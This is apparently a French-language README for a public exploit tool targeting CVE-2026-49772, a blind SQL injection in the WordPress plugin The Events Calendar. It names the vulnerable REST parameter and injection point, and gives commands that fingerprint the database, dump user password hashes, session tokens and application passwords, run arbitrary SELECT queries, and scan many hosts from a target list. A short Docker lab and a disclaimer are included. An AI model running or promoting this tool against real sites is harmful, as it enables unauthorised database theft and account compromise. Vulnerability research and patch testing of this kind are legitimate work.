
Exploit d'injection SQL aveugle pour CVE-2026-49772 ciblant le plugin WordPress The Events Calendar. Extrait le contenu de la base de données via un oracle booléen/temporel avec analyse multithread, vidage de hachage utilisateur et prise en charge de requêtes personnalisées.
La CVE-2026-49772 est une injection SQL aveugle non authentifiée dans l'extension WordPress
The Events Calendar. Un validateur de paramètre REST défectueux (validate_callback
renvoie une fermeture au lieu de valider) permet au paramètre order de l'API REST expérimentale
tec/v1 d'atteindre la clause ORDER BY de la requête SQL sans désinfection :
GET /wp-json/tec/v1/events?orderby=event_date&order=<INJECTION>
... ORDER BY event_date <INJECTION>, wp_posts.post_date DESC ...
Il s'agit d'une injection en lecture seule (pas de requêtes empilées, pas d'écriture, pas de sortie directe) — mais toute la base de données est extractible via un oracle booléen/temporel : hachages de mots de passe utilisateur, jetons de session, mots de passe d'application, clés secrètes.
Versions concernées : The Events Calendar 6.15.12 – 6.16.2 (corrigé dans 6.16.3)
Sévérité : CVSS 3.1 9.3 Critique — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
--check — Détection non destructive : espace de noms REST, version de l'extension, confirmation temporelle--recon — Empreinte de la base de données : version, utilisateur courant, base, système d'exploitation, privilèges, préfixe de table--users — Extraction de wp_users : identifiants, emails, hachages de mots de passe--user-meta — Extraction de wp_usermeta : jetons de session, mots de passe d'application, capacités--get-table — Extraction de n'importe quelle table avec découverte automatique des colonnes--query — Extraction du résultat de n'importe quel SELECT scalaireBibliothèque standard Python 3 uniquement — requirements.txt est inclus pour le workflow standard
mais n'installe rien de supplémentaire.
git clone https://github.com/joshuavanderpoll/CVE-2026-49772.git
cd CVE-2026-49772
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
python3 CVE-2026-49772.py --help
git clone https://github.com/joshuavanderpoll/CVE-2026-49772.git
cd CVE-2026-49772
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
python CVE-2026-49772.py --help
python3 CVE-2026-49772.py <cible> <action> [options]
Choisissez exactement une action : --check, --recon, --users, --user-meta,
--get-table <TABLE>, --query <SQL>. Exécutez --help pour toutes les options.
python3 CVE-2026-49772.py target.tld --check
python3 CVE-2026-49772.py target.tld --recon
python3 CVE-2026-49772.py target.tld --users
python3 CVE-2026-49772.py target.tld --query "SELECT @@version"
Réglage : --technique boolean|time, --delay, --threads, --rows, --prefix,
--where, -useragent, -timeout. Analysez plusieurs hôtes avec -l targets.txt.
Un laboratoire Docker Compose autonome comprenant l'extension vulnérable (incluse, non téléchargée au démarrage) et des événements préremplis. Voir docker/DOCKER.md.
cd docker/
docker compose up -d
python3 ../CVE-2026-49772.py localhost:8080 --check
/wp-json/tec/v1/ au niveau du WAF / proxy inverseCet outil est fourni à des fins éducatives et de recherche uniquement. Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de tester. Le créateur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet outil.